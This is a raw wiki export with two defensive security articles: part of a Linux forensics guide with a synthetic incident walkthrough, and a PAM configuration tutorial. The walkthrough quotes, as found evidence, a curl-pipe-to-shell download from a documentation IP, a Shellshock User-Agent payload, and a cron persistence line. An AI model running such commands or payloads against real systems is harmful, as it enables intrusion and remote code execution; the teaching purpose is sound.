Timelines have limits. Timestamps are &#039;&#039;&#039;ephemeral&#039;&#039;&#039;: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page (the way live triage, memory analysis, disk images and timelines are organized; the process-analysis red flags; the set-UID, persistence and post-exploitation checklists; the Volatility and mounting workflows; and several examples such as the look-alike hidden directories) are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
Changes: the material has been rewritten, condensed and reorganized into a single article; commands were re-checked and modified (and some added); and the SSH, web-log, worked-example and quick-reference sections are new. The original author has not reviewed or endorsed this page. Like the rest of WikiCyber, this page is available under CC BY-SA 4.0.&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=PAM_(Pluggable_Authentication_Module)&amp;diff=130</id>
		<title>PAM (Pluggable Authentication Module)</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=PAM_(Pluggable_Authentication_Module)&amp;diff=130"/>
		<updated>2026-09-18T19:57:52Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: Removed promotional links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/account_policies/pam (source: docs/linux/account_policies/pam.md) --&amp;gt;&lt;br /&gt;
&amp;lt;!-- REVIEW: source used JSX (JSX style object); layout-only divs were dropped. Compare with the original. --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): Kirill Shore&lt;br /&gt;
&lt;br /&gt;
Last Updated: 10-02-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is PAM? ==&lt;br /&gt;
&lt;br /&gt;
PAM stands for Pluggable Authentication Module. It&#039;s a framework that provides important ways to create authentication (and related) programs indipendently of the applications that use them. PAM may be used to handle tasks like verifying a username and password, checking biometric data, or working with external systems like Kerberos, LDAP, or 2FA. PAM systems administartors have the ability to then plug in different authentication module methods (like 2FA) without changing/rewriting applications/programs. I.e. you may switch from password authentication to security keys. Fun fact: the applications themselves don&#039;t know how authentication is performed. The only thing they do is ask pam if the user is who they claim to be.&lt;br /&gt;
&lt;br /&gt;
== Pam Basics ==&lt;br /&gt;
&lt;br /&gt;
There are several PAM services (not to be confused with modules), as an example:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt;, which handles authentication for remote logins via SSH. It validates credentials like passwords, keys, MFA, etc., enforces different policies like banning the ability to login as root, or requiring 2FA. It can also prevent brute force attempts when combined with modules like pam_tally2.&lt;br /&gt;
* &amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt;, it controls authentication for users who are logging in via a text console (i.e. tty). It verifies the username and password, checks if the account is locked/expired, and applies restrictions like time of day logins.&lt;br /&gt;
* &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;, manages authentication when a user attempts to run commands as another user (i.e. su). It prompts the user for password before escalating privelages. It also has the ability to timeout someone who is root and force them to re-login. On many distros, su cannot be run alone to switch to root, as the root account is disabled by default (meaning its password is locked). Sudo su is instead used. Sudo checks if your user in the sudo or wheel group, asks for your password, and then runs su as root so that there is no need for a root password. Each PAM service also has its own file in &amp;lt;code&amp;gt;/etc/pam.d&amp;lt;/code&amp;gt;. These files define which modules are being user (modules are shared libraries that perform special security functions, such as user authetication, account management, session management, or password management). Some PAM modules are, but not limited to:&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_unix.so&amp;lt;/code&amp;gt; (Default PAM module)&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_tally2.so&amp;lt;/code&amp;gt; (Which is used to count login attempts and lock an account after a specified number of failed attempts)&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_google_authenticator.so&amp;lt;/code&amp;gt; (Which provides 2FA support if you use the Google Authenticator app on a mobile device)&lt;br /&gt;
&lt;br /&gt;
== PAM Security Principles ==&lt;br /&gt;
&lt;br /&gt;
In any Cybersecurity industry, the idea of Least Privilege is important, in order to prevent users from having more power than they need. For example, a teller for FreedomBank has to process a transaction, depositing phyisical cash and adding it to the customers bank account. This employee should not, nor do they need, access to information (unless for verification purposes) such as the tiles or details of past transactions other than their amounts, investment accounts, debts or loans, etc. In this case, the teller is given the minimum privileges to do their job, and nothing more. But how can PAM be used in this case? Let&#039;s suppose that the teller logs into a banking application or a Linux shell for deposits. In &amp;lt;code&amp;gt;/etc/pam.d/deposit_app&amp;lt;/code&amp;gt;, we would configure PAM to allow teller group users or higher to authenticate:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_unix.so&lt;br /&gt;
account required    pam_succeed_if.so   user    ingroup tellers&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
(Note that the above is a basic configuration that will ONLY allow tellers to login. An example of a more realistic configuration is below)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_faillock.so preauth silent  deny=5  unlock_time=600 # (this would lockout the account to prevent brute-force attacks&lt;br /&gt;
auth    required    pam_unix.so try_first_pass # (primary password authentication)&lt;br /&gt;
auth    required    pam_u2f.so  authfile=/etc/security/u2f_mappings cue # (this would require 2FA via FIDO/U2F security key, and store mappings in /etc/security/u2f_mappings)&lt;br /&gt;
auth    required    pam_faillock.so authfail # (count failures, records them in /var/run/faillock. If the amount of failures exceeds the threshold, the account is locked for the configured time)&lt;br /&gt;
auth    sufficient  pam_faillock.so reset # (If this module succeeds---thus the user authenticates---then it clears any failed login attempts for that user, and resest the counter to 0 for that user)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== PAM Control Flags and Keywords ==&lt;br /&gt;
&lt;br /&gt;
Now, you may be asking: what do those flags, like &amp;lt;code&amp;gt;auth&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sufficient&amp;lt;/code&amp;gt; and etc. mean? Well, these words are PAM control flags, and they decide when a specific module is invoked, how its result is interpreted, and whwether or not pam keeps processing.&lt;br /&gt;
&lt;br /&gt;
First, there are the facility keywords. These keyowrds tell PAM which phase or type of check the line belongs to.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;auth&amp;lt;/code&amp;gt; -&amp;amp;gt; This verifies a users identity (i.e. Password check, 2FA, smartcard)&lt;br /&gt;
* &amp;lt;code&amp;gt;account&amp;lt;/code&amp;gt; -&amp;amp;gt; This determines if the account is allowed access. (i.e. Is the account expired? Is the user allowed to login from 21:00-08:00?)&lt;br /&gt;
* &amp;lt;code&amp;gt;password&amp;lt;/code&amp;gt; -&amp;amp;gt; This handles changing or updating credentials. (i.e. Enforcing strong password rules when a user runs the command &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;session&amp;lt;/code&amp;gt; -&amp;amp;gt; This manages session startup and shutdown. (i.e. Logging session start/stop, mounting home directiories, applying resource limits)&lt;br /&gt;
&lt;br /&gt;
Next, we have the control flags. These define what pam should do with the results of the module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; -&amp;amp;gt; This instructs that the module must succeed in order for authentication to succeed. However, if the module fails, PAM will continue processing, to prevent the user from knowing which check had failed. If any &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; module fails, the outcome will be fail, no matter if other modules succeeded.&lt;br /&gt;
* &amp;lt;code&amp;gt;requisite&amp;lt;/code&amp;gt; -&amp;amp;gt; This is mostly the same as &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; above. However, instead of continuing upon failure, PAM will stop immediatley and deny access.&lt;br /&gt;
* &amp;lt;code&amp;gt;sufficient&amp;lt;/code&amp;gt; -&amp;amp;gt; If the module succeeds, no further checks are required, and access will be immediatley granted. However, if the module fails, then PAM will keep going.&lt;br /&gt;
* &amp;lt;code&amp;gt;optional&amp;lt;/code&amp;gt; -&amp;amp;gt; Whether or not the success or failure of that module will be considered is if it is the only module of that type. Otherwise, it&#039;ll be ignored. This is mainly used for logging modules and non-critical checks.&lt;br /&gt;
* &amp;lt;code&amp;gt;include&amp;lt;/code&amp;gt; -&amp;amp;gt; This isn&#039;t a flag, but actually a directive. It means &#039;include another PAM configuration file here&#039;. It is mostly used for reusing common configurations.&lt;br /&gt;
&lt;br /&gt;
== PAM Modules ==&lt;br /&gt;
&lt;br /&gt;
Most linux systems come pre-installed with PAM and some modules, whcih are commonly located in &amp;lt;code&amp;gt;/lib/x86_64-linux-gnu/security/&amp;lt;/code&amp;gt; (on Debian/Ubuntu distros; path will/,ay differ on others). Below is a list of common modules, what each of them do, and vulnerabilities/misconfigurations.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_unix&amp;lt;/code&amp;gt; Handles traditional UNIX authentication (passwords stored in &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). Vulnerability: If the passwords in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; are compromised, or weak passwords are used, threat actors can brute force credentials.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_cracklib&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_pwquality&amp;lt;/code&amp;gt; Enforces password strength rules (length, complexity, dictionary checks). Vulnerability: If module isn&#039;t used, weak passwords will be used. If misconfigured, the rules may bee too relaxed (meaning simple passwords) or too strict (meaning passwords complex enough that most users would write their passwords on a sticky note... which they would stick to their monitor).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_limits&amp;lt;/code&amp;gt; Applies limits defined in &amp;lt;code&amp;gt;/etc/security/limits.conf&amp;lt;/code&amp;gt; (i.e., max processes, file sizes). Vulenrability: Weak or missing limits will allow Denial of Service (Dos) via fork bombs or resource exhaustion.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_securetty&amp;lt;/code&amp;gt; Restricts &amp;lt;code&amp;gt;root&amp;lt;/code&amp;gt; login to &amp;amp;quot;secure&amp;amp;quot; terminals that are listed in &amp;lt;code&amp;gt;/etc/securetty&amp;lt;/code&amp;gt;. Vulnerability: If misconfigured, threat actors could login as root from unsafe terminals (i.e. remote consoles).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_nologin&amp;lt;/code&amp;gt; Blocks non-root users from logging in if &amp;lt;code&amp;gt;/etc/nologin&amp;lt;/code&amp;gt; exists (can be used when editing an account to prevent access to it during a timeframe when root permissions are being changed, i.e. an employee being demoted in a company). Vulnerability: If neglected, it may unintentionally lock out legitimate users, or vice-versa not be deployed when it should&#039;ve been.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_time&amp;lt;/code&amp;gt; Restricts logins based on time of day rules in &amp;lt;code&amp;gt;/etc/security/time.conf&amp;lt;/code&amp;gt;. Vulnerability: Misconfiguration could allow off hours logins to systems when it should be denied (i.e. a bank representative accessing users&#039; accounts at 2am).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_access&amp;lt;/code&amp;gt; Controls access based on user and host rules from &amp;lt;code&amp;gt;/etc/security/accesss.conf&amp;lt;/code&amp;gt;. Vulnerability: Misconfiguration can grant the wrong users access and deny access to the users that need it.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_tally&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_tally2&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_faillock&amp;lt;/code&amp;gt; Counts failed login attempts and can lock accounts after there were too many failed attempts. Vulnerability: &amp;lt;code&amp;gt;pam_tally&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;pam_tally2&amp;lt;/code&amp;gt; have been deprecated due to counting errors, possible username leakage, and more. Replaced with &amp;lt;code&amp;gt;pam_faillock&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_wheel&amp;lt;/code&amp;gt; Restricts the &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; command to users in the &amp;lt;code&amp;gt;wheel&amp;lt;/code&amp;gt; (also called &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;) group. Vulnerability: Exploiting [https://nvd.nist.gov/vuln/detail/CVE-2003-0388 CVE-2003-0388] could allow a threat actor to gain &amp;lt;code&amp;gt;wheel&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; privilages, then modify files like &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;pam_exec&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_exec&amp;lt;/code&amp;gt; Runs an external program or script during authentication. Vulnerability: Misconfiguration may result in running incorrect programs during authentication.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_systemd&amp;lt;/code&amp;gt; Integrates uers sessions with systmd. Vulneravility: could be exploited to read coredump information, which may include &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;. [https://nvd.nist.gov/vuln/detail/CVE-2025-4598 CVE-2025-4598].&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_xauth&amp;lt;/code&amp;gt; Handles X11 forwarding authentication for X11 graphical sessions. Vulnerability: If misconfigured, an insecure forwarding setup may allow [https://www.tenable.com/plugins/nessus/31737?utm_source=chatgpt.com X11 session hijacking].&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_umask&amp;lt;/code&amp;gt; Sets the default file creation permissions (umask) for users. Vulnerability: if minimum permissions are not implemented, users may be able to create world-readable files that leak data (i.e., private keys and SSH data like ~/.ssh/id_rsa).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_group&amp;lt;/code&amp;gt; Assigns users to groups at login based on rules. Vulnerability: Misconfiguration could result in users being granted unintended group privilages.&lt;br /&gt;
&lt;br /&gt;
=== Practice ===&lt;br /&gt;
&lt;br /&gt;
Can you instruct PAM to have a user login, verify via Google authenticator (&amp;lt;code&amp;gt;pam_google_authenticator.so&amp;lt;/code&amp;gt;), and solve a Captcha (&amp;lt;code&amp;gt;/usr/local/sbin/pam_captcha.sh&amp;lt;/code&amp;gt;) before being granted access? If the user fails the captcha three times, the account is immediatley locked.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Solution (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_faillock.so preauth silent deny=3   unlock_time=900&lt;br /&gt;
auth    required    pam_unix.so try_first_pass&lt;br /&gt;
auth    required    pam_google_authenticator.so&lt;br /&gt;
auth    required    pam_exec.so quiet   log=/var/log/pam_captcha.log seteuid /usr/local/sbin/pam_captcha.sh&lt;br /&gt;
auth    required    pam_faillock.so authfail&lt;br /&gt;
auth    sufficient  pam_faillock.so reset&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
